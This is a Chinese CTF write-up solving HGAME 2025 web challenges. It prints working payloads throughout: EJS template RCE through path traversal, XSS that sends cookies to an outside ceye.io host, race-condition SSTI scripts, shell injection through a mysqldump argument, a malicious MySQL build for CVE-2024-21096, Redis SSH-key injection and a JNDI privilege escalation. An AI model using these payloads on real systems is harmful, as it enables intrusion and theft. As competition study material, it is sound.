Web

week1

Level 24 Pacman

拿到环境

image-20250206151704506

一个小游戏,猜测应该是js审计

image-20250206151846623

查看index.js发现代码进行了混淆

可以用工具反混淆一下,增加一下可读性

https://tool.yuanrenxue.cn/decode_obfuscator

image-20250206152531656

反混淆之后找到这个

image-20250206152608227

感觉是栅栏,解密拿到flag

image-20250206152742122

Level 47 BandBomb

文件上传

image-20250206152938301

附件有源码

 1const express = require('express');
 2const multer = require('multer');
 3const fs = require('fs');
 4const path = require('path');
 5
 6const app = express();
 7
 8app.set('view engine', 'ejs');
 9
10app.use('/static', express.static(path.join(__dirname, 'public')));
11app.use(express.json());
12
13const storage = multer.diskStorage({
14  destination: (req, file, cb) => {
15    const uploadDir = 'uploads';
16    if (!fs.existsSync(uploadDir)) {
17      fs.mkdirSync(uploadDir);
18    }
19    cb(null, uploadDir);
20  },
21  filename: (req, file, cb) => {
22    cb(null, file.originalname);
23  }
24});
25
26const upload = multer({ 
27  storage: storage,
28  fileFilter: (_, file, cb) => {
29    try {
30      if (!file.originalname) {
31        return cb(new Error('无效的文件名'), false);
32      }
33      cb(null, true);
34    } catch (err) {
35      cb(new Error('文件处理错误'), false);
36    }
37  }
38});
39
40app.get('/', (req, res) => {
41  const uploadsDir = path.join(__dirname, 'uploads');
42  
43  if (!fs.existsSync(uploadsDir)) {
44    fs.mkdirSync(uploadsDir);
45  }
46
47  fs.readdir(uploadsDir, (err, files) => {
48    if (err) {
49      return res.status(500).render('mortis', { files: [] });
50    }
51    res.render('mortis', { files: files });
52  });
53});
54
55app.post('/upload', (req, res) => {
56  upload.single('file')(req, res, (err) => {
57    if (err) {
58      return res.status(400).json({ error: err.message });
59    }
60    if (!req.file) {
61      return res.status(400).json({ error: '没有选择文件' });
62    }
63    res.json({ 
64      message: '文件上传成功',
65      filename: req.file.filename 
66    });
67  });
68});
69
70app.post('/rename', (req, res) => {
71  const { oldName, newName } = req.body;
72  const oldPath = path.join(__dirname, 'uploads', oldName);
73  const newPath = path.join(__dirname, 'uploads', newName);
74
75  if (!oldName || !newName) {
76    return res.status(400).json({ error: ' ' });
77  }
78
79  fs.rename(oldPath, newPath, (err) => {
80    if (err) {
81      return res.status(500).json({ error: ' ' + err.message });
82    }
83    res.json({ message: ' ' });
84  });
85});
86
87app.listen(port, () => {
88  console.log(`服务器运行在 http://localhost:${port}`);
89});

这题有点像24国赛的ezjs

文章 - 对ejs引擎漏洞及函数特性的利用 - 先知社区

可以看到在 /rename 路由

 1app.post('/rename', (req, res) => {
 2  const { oldName, newName } = req.body;
 3  const oldPath = path.join(__dirname, 'uploads', oldName);
 4  const newPath = path.join(__dirname, 'uploads', newName);
 5
 6  if (!oldName || !newName) {
 7    return res.status(400).json({ error: ' ' });
 8  }
 9
10  fs.rename(oldPath, newPath, (err) => {
11    if (err) {
12      return res.status(500).json({ error: ' ' + err.message });
13    }
14    res.json({ message: ' ' });
15  });
16});

这个路由会将uploads目录中的文件重命名

我们可以利用这个路由,通过目录穿越对任意文件进行移动和重命名

也就是说我们可以通过上传恶意的ejs到uploads目录,接着通过/rename路由将我们上传的恶意ejs文件覆写掉/路由的模板文件mortis.ejs实现RCE

eval.ejs

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <div>
        <%= process.mainModule.require('child_process').execSync('whoami') %>
    </div>
</body>
</html>

将ejs上传

image-20250206154845681

覆写原来的ejs

image-20250206155252476

访问/

image-20250206155341848

这题flag藏在环境变量里

payload:

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <div>
        <%= process.mainModule.require('child_process').execSync('printenv') %>
    </div>
</body>
</html>

image-20250206155810074

Level 69 MysteryMessageBoard

密码爆破,XSS cookie窃取

image-20250206160024933

爆出来 shallot/888888

登进去看到一个留言板

image-20250206160118188

猜测是xss,测试一下

<script>alert('XSS')</script> 

image-20250206160225628

同时通过dirsearch扫到了/admin路由

image-20250206160449456

image-20250206160507469

根据这句话大概可以猜到,访问/admin路由的时候应该会在后端以admin的身份来访问留言板

也就是说我们可以进行cookie窃取

payload:

<script>document.location='http://dfny33.ceye.io?'+document.cookie;</script>

将payload输出在留言板,然后访问/admin

f01e1737d9537ace6383c2aa28b8be2

成功拿到admin的cookie

拿admin的cookie访问/flag即可拿到flag

Level 25 双面人派对

image-20250206161540205

这道题有两个环境,一开始以为是re,其实感觉更像是misc

访问app.service-web可以拿到一个main文件

是一个elf文件

用exeinfo PE查到用upx加壳了

image-20250206161827725

用upx官方工具就可以脱壳

https://github.com/upx/upx/releases/latest

脱壳之后用ida打开

image-20250206162100313

可以找到一段关于minio的密钥信息

.noptrdata:0000000000D614E0	000000AA	C	minio:\r\n  endpoint: \"127.0.0.1:9000\"\r\n  access_key: \"minio_admin\"\r\n  secret_key: \"JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=\"\r\n  bucket: \"prodbucket\"\r\n  key: \"update\" 

那我们大概就能猜到另一个环境应该就是这个minio的服务

用mc通过Access Key和Secret Key连接上去

image-20250206162349506

里面有两个储存桶

image-20250206162644906

将两个储存桶都下载下来

image-20250206162716208

/hints里面放的是8080服务的源码,/prodbucket里面是源码编译后的文件叫做update,猜测是热更新

看一下源码

 1package main
 2
 3import (
 4	"level25/fetch"
 5	"level25/conf"
 6	"github.com/gin-gonic/gin"
 7	"github.com/jpillora/overseer"
 8)
 9
10func main() {
11	fetcher := &fetch.MinioFetcher{
12		Bucket:    conf.MinioBucket,
13		Key:       conf.MinioKey,
14		Endpoint:  conf.MinioEndpoint,
15		AccessKey: conf.MinioAccessKey,
16		SecretKey: conf.MinioSecretKey,
17	}
18	overseer.Run(overseer.Config{
19		Program: program,
20		Fetcher: fetcher,
21	})
22
23}
24
25func program(state overseer.State) {
26	g := gin.Default()
27	g.StaticFS("/", gin.Dir(".", true))
28	g.Run(":8080")
29}

我们可以猜测/路由展示的这个.目录就是前面我们下周main文件的目录

我们可以把.改成根目录/,然后将编译后的源码覆写掉原来的update,热更新后,我们就能直接访问根目录了

payload:

package main

import (
	"level25/fetch"
	"level25/conf"
	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
)

func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})

}

func program(state overseer.State) {
	g := gin.Default()
	g.StaticFS("/abc", gin.Dir("/", true))
	g.Run(":8080")
}

这里我将/路由改成了/abc,因为不知道为啥我用/路由不行

将源码编译后覆写到储存桶上

image-20250206163859652

访问/abc

image-20250206164000985

拿到flag

image-20250206164029974

Level 38475 角落

ssti/条件竞争

image-20250206164229496

/robots.txt有个/app.conf

image-20250206164257706

访问/app.conf

image-20250206164413970

这里展示了httpd.conf的片段

这里给出了源码的位置还有一个重写引擎的规则,猜测应该是该版本的apache存在源码泄露

同时在响应标头能找到Apache的版本信息

image-20250206164739551

可以找到这个版本的apache存在源码泄露,而且是跟重写规则有关

CVE-2024-38475

image-20250206165000233

网上没找到什么poc

但是可以找到漏洞发现者的一篇文章

https://blog.orange.tw/posts/2024-08-confusion-attacks-en/

2dbfbdadba8694e40ae73db901c8c4e

根据这篇文章我们可以构造出paylaod

http://node1.hgame.vidar.club:31155/admin/usr/local/apache2/app/app.py%3F

这道题多了一个RewriteCond “%{HTTP_USER_AGENT}” “^L1nk/”,只需要在user-agent前面加上L1nk/即可

image-20250206165543890

拿到源码

 1from flask import Flask, request, render_template, render_template_string, redirect
 2import os
 3import templates
 4
 5app = Flask(__name__)
 6pwd = os.path.dirname(__file__)
 7show_msg = templates.show_msg
 8
 9
10def readmsg():
11	filename = pwd + "/tmp/message.txt"
12	if os.path.exists(filename):
13		f = open(filename, 'r')
14		message = f.read()
15		f.close()
16		return message
17	else:
18		return 'No message now.'
19
20
21@app.route('/index', methods=['GET'])
22def index():
23	status = request.args.get('status')
24	if status is None:
25		status = ''
26	return render_template("index.html", status=status)
27
28
29@app.route('/send', methods=['POST'])
30def write_message():
31	filename = pwd + "/tmp/message.txt"
32	message = request.form['message']
33
34	f = open(filename, 'w')
35	f.write(message) 
36	f.close()
37
38	return redirect('index?status=Send successfully!!')
39	
40@app.route('/read', methods=['GET'])
41def read_message():
42	if "{" not in readmsg():
43		show = show_msg.replace("{{message}}", readmsg())
44		return render_template_string(show)
45	return 'waf!!'
46	
47
48if __name__ == '__main__':
49	app.run(host = '0.0.0.0', port = 5000)

可以看到/read路由存在ssti,但是他waf掉了最重要的{

但是可以看到这个/send路由会将传入的信息写入message.txt文件,在访问/read路由的时候则会读取message.txt文件。这么一来我们就可以考虑通过竞争的方式来绕过waf了。竞争思路大概就是我在很短的时间内连续发送两条信息,第一条信息是合法信息,而第二条信息是不合法的,那么就会存在一种情况,当第一条信息通过了判断,接下来要将文件的内容插入到模板中渲染的时候,刚好第二条不合法的信息覆写了message.txt,那么插入模板中的就是第二条不合法的信息了

接下来就是搓脚本发包

三个脚本

poc1

1import requests
2while True:
3    burp0_url = "http://node1.hgame.vidar.club:30762/app/send"
4    burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "zh-CN,zh;q=0.9", "Origin": "http://node1.hgame.vidar.club:30762", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://node1.hgame.vidar.club:30762/app/index", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
5    burp0_data = {"message": "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"}
6    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
7    print(res.status_code)
8    

poc2

1import requests
2while True:
3    burp0_url = "http://node1.hgame.vidar.club:30762/app/send"
4    burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "zh-CN,zh;q=0.9", "Origin": "http://node1.hgame.vidar.club:30762", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://node1.hgame.vidar.club:30762/app/index", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
5    burp0_data = {"message": "123"}
6    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
7    print(res.status_code)

poc3

1import requests
2while True:
3    burp0_url = "http://node1.hgame.vidar.club:30762/app/read"
4    burp0_headers = {"Accept-Language": "zh-CN,zh;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
5    res = requests.get(burp0_url, headers=burp0_headers)
6    # print(res.text)
7    if "hgame" in (res.text):
8        print(res.text)
9        break

成功执行,拿到flag

ce7c9af5b1c85c5b5c60632c51b313a

week2

week2强度有点高,就打了一道HoneyPot,复现一手

Level 21096 HoneyPot

应该是非预期

可以找到这个函数,也就是/api/import,可以进行命令拼接

 1func ImportData(c *gin.Context) {
 2    var config ImportConfig
 3    if err := c.ShouldBindJSON(&config); err != nil {
 4        c.JSON(http.StatusBadRequest, gin.H{
 5            "success": false,
 6            "message": "Invalid request body: " + err.Error(),
 7        })
 8        return
 9    }
10    if err := validateImportConfig(config); err != nil {
11        c.JSON(http.StatusBadRequest, gin.H{
12            "success": false,
13            "message": "Invalid input: " + err.Error(),
14        })
15        return
16    }
17
18    config.RemoteHost = sanitizeInput(config.RemoteHost)
19    config.RemoteUsername = sanitizeInput(config.RemoteUsername)
20    config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
21    config.LocalDatabase = sanitizeInput(config.LocalDatabase)
22    if manager.db == nil {
23        dsn := buildDSN(localConfig)
24        db, err := sql.Open("mysql", dsn)
25        if err != nil {
26            c.JSON(http.StatusInternalServerError, gin.H{
27                "success": false,
28                "message": "Failed to connect to local database: " + err.Error(),
29            })
30            return
31        }
32
33        if err := db.Ping(); err != nil {
34            db.Close()
35            c.JSON(http.StatusInternalServerError, gin.H{
36                "success": false,
37                "message": "Failed to ping local database: " + err.Error(),
38            })
39            return
40        }
41
42        manager.db = db
43    }
44    if err := createdb(config.LocalDatabase); err != nil {
45        c.JSON(http.StatusInternalServerError, gin.H{
46            "success": false,
47            "message": "Failed to create local database: " + err.Error(),
48        })
49        return
50    }
51    //Never able to inject shell commands,Hackers can't use this,HaHa
52    command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
53        config.RemoteHost,
54        config.RemoteUsername,
55        config.RemotePassword,
56        config.RemoteDatabase,
57        localConfig.Username,
58        localConfig.Password,
59        config.LocalDatabase,
60    )
61    fmt.Println(command)
62    cmd := exec.Command("sh", "-c", command)
63    if err := cmd.Run(); err != nil {
64        c.JSON(http.StatusInternalServerError, gin.H{
65            "success": false,
66            "message": "Failed to import data: " + err.Error(),
67        })
68        return
69    }
70
71    c.JSON(http.StatusOK, gin.H{
72        "success": true,
73        "message": "Data imported successfully",
74    })
75}

Payload

1{"remote_host":"127.0.0.1","remote_port":"3306","remote_username":"root","remote_password":"123456;/writeflag;#","remote_database":"123","local_database":"123"}

访问/flag拿到flag

Level 21096 HoneyPot_Revenge

[CVE-2024-21096 mysqldump命令注入漏洞简析 | Ec3o](https://tech.ec3o.fun/2024/10/25/Web-Vulnerability Reproduction/CVE-2024-21096/)

出题人的博客有写过这个知识点

image-20250219150418145

编译恶意Mysql

安装编译依赖

sudo apt-get update
sudo apt-get install -y build-essential cmake bison libncurses5-dev libtirpc-dev libssl-dev pkg-config
wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz
tar -zxvf mysql-boost-8.0.34.tar.gz
cd mysql-8.0.34

修改模板文件/include/mysql_version.h.in

vim include/mysql_version.h.in
/* Copyright Abandoned 1996,1999 TCX DataKonsult AB & Monty Program KB
   & Detron HB, 1996, 1999-2004, 2007 MySQL AB.
   This file is public domain and comes with NO WARRANTY of any kind
*/

/* Version numbers for protocol & mysqld */

#ifndef _mysql_version_h
#define _mysql_version_h

#define PROTOCOL_VERSION            @PROTOCOL_VERSION@
#define MYSQL_SERVER_VERSION       "8.0.0-injection-test\n\\! /writeflag"
#define MYSQL_BASE_VERSION         "mysqld-8.0.34"
#define MYSQL_SERVER_SUFFIX_DEF    "@MYSQL_SERVER_SUFFIX@"
#define MYSQL_VERSION_ID            @MYSQL_VERSION_ID@
#define MYSQL_PORT                  @MYSQL_TCP_PORT@
#define MYSQL_ADMIN_PORT            @MYSQL_ADMIN_TCP_PORT@
#define MYSQL_PORT_DEFAULT          @MYSQL_TCP_PORT_DEFAULT@
#define MYSQL_UNIX_ADDR            "@MYSQL_UNIX_ADDR@"
#define MYSQL_CONFIG_NAME          "my"
#define MYSQL_PERSIST_CONFIG_NAME  "mysqld-auto"
#define MYSQL_COMPILATION_COMMENT  "@COMPILATION_COMMENT@"
#define MYSQL_COMPILATION_COMMENT_SERVER  "@COMPILATION_COMMENT_SERVER@"
#define LIBMYSQL_VERSION           "8.0.34-custom"
#define LIBMYSQL_VERSION_ID         @MYSQL_VERSION_ID@

#ifndef LICENSE
#define LICENSE                     GPL
#endif /* LICENSE */

#endif /* _mysql_version_h */

执行命令的位置为

#define MYSQL_SERVER_VERSION       "8.0.0-injection-test\n\\! /writeflag"

修改成要执行的命令之后,开始编译

mkdir build
cd build
cmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=../boost
make -j$(nproc)

我的服务器太烂了,编译了五个小时还编译失败了

所以后面在本地用wsl编译完后再上传到服务器上

image-20250221003432941

本地编译的时候最好使用与服务器相同的路径

不然install的时候会报错,很麻烦

加下来在服务器上安装编译好的mysql

安装

sudo make install

创建⽤⼾组

sudo groupadd mysql
sudo useradd -r -g mysql -s /bin/false mysql

初始化

sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --
basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

初始化信息

basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
2025-02-20T16:35:47.430647Z 0 [System] [MY-013169] [Server] /usr/local/mysql/bin/mysqld (mysqld 8.0.0-injection-test \! /writeflag) initializing of server in progress as process 557354
2025-02-20T16:35:47.483565Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started.
2025-02-20T16:35:48.220016Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended.
2025-02-20T16:35:51.634311Z 6 [Note] [MY-010454] [Server] A temporary password is generated for root@localhost: #fq;t8<;j5AH
-bash: --datadir=/usr/local/mysql/data: No such file or directory

设置⽬录权限

sudo chown -R mysql:mysql /usr/local/mysql
sudo chown -R mysql:mysql /usr/local/mysql/data

启动服务

sudo /usr/local/mysql/bin/mysqld_safe --user=mysql &

image-20250221114641677

登录

/usr/local/mysql/bin/mysql -u root -p

修改密码

ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';

由于需要进行远程连接,需要配置root登录支持

CREATE USER 'root'@'%' IDENTIFIED BY 'password'; //创建用户
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'; //授予权限
FLUSH PRIVILEGES;

创建数据库

CREATE DATABASE test;
EXIT;

接下来就可以去导入数据了

image-20250221114909051

访问/flag,拿到flag

image-20250221114939171

Level 60 SignInJava

这个是真不懂😥,等后面再回头看

Level 111 不存在的车厢

这是一道关于整数溢出打协议⾛私的题目

题目给出的web服务⾃定义了⼀个H111协议,我们可以发现这个自定义协议中的所有Length字段均为uint16类型(0~65535),而且没有做任何的长度限制,也就是说存在整数溢出

而且这个协议是支持连接复用的,也就是同一TCP连接可处理多个请求。第一个请求发生溢出后,残留数据与后续请求混合后,服务端会错误解析到我们第二个请求,从⽽⾛私进第⼆个请求。

官方wp是这么说的:

image-20250223212701781

开始复现

先编写⼀段测试,放在protocol/request_test.go,通过go test -v -run TestGenRequest拿到输出

 1package protocol
 2
 3import (
 4	"bytes"
 5	"encoding/hex"
 6	"net/http"
 7	"testing"
 8)
 9
10
11func TestGenRequest(t *testing.T) {
12	var buf bytes.Buffer
13	err := WriteH111Request(&buf, &http.Request{
14		Method: "POST",
15		RequestURI: "/flag",
16	})
17	if err != nil {
18		t.Fatalf("expected no error, got %v", err)
19	}
20	t.Log(len(buf.Bytes()))
21	t.Log(hex.EncodeToString(buf.Bytes()))
22}

WriteH111Request序列化一个POST /flag请求

image-20250223214912663

序列化后的十六进制数据

0004504f535400052f666c616700000000

在这段数据后⾯补⻬0,补⻬到65536,产⽣Length溢出

payload:

GET / HTTP/1.1
Host: node1.hgame.vidar.club:30529

{{hexdec(0004504f535400052f666c616700000000)}}{{padding:zero(0|65519)}}

image-20250223215434118

Level 257 ⽇落的紫罗兰

题⽬端⼝为ssh服务和redis服务

首先使用 ssh-keygen 生成密钥对

ssh-keygen -t rsa

image-20250223215956984

把生成的公钥添加到 spaced_key.txt 文件里

(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > spaced_key.txt

利用 Redis 服务写入 SSH 公钥

cat spaced_key.txt |redis-cli -h node1.hgame.vidar.club -p 30428 -x set ssh_key
redis-cli -h node1.hgame.vidar.club -p 30428
redis-cli -h node1.hgame.vidar.club -p 30428
node1.hgame.vidar.club:30428> config set dir /home/mysid/.ssh
OK
node1.hgame.vidar.club:30428> config set dbfilename "authorized_keys"
OK
node1.hgame.vidar.club:30428> save
OK
node1.hgame.vidar.club:30428> exit

user.txt里面有ssh的用户名

连ssh

ssh -i /root/.ssh/id_rsa mysid@node1.hgame.vidar.club -p 31266

image-20250223221853478

要提权

这题用的是上传恶意ldap服务器利⽤本地java应⽤提权

我咋知道本地有Java环境呢?find一下就好

find / -name "java" 2>/dev/null

image-20250223222928567

上传恶意 JAR 包

scp -i /root/.ssh/id_rsa -P 31266 ./JNDIMap-0.0.1.jar mysid@node1.hgame.vidar.club:/tmp
/usr/local/openjdk-8/bin/java -jar /tmp/JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"

image-20250223224744145

触发漏洞

curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search

image-20250223224705047

image-20250223224810443

成功执行

image-20250223224832052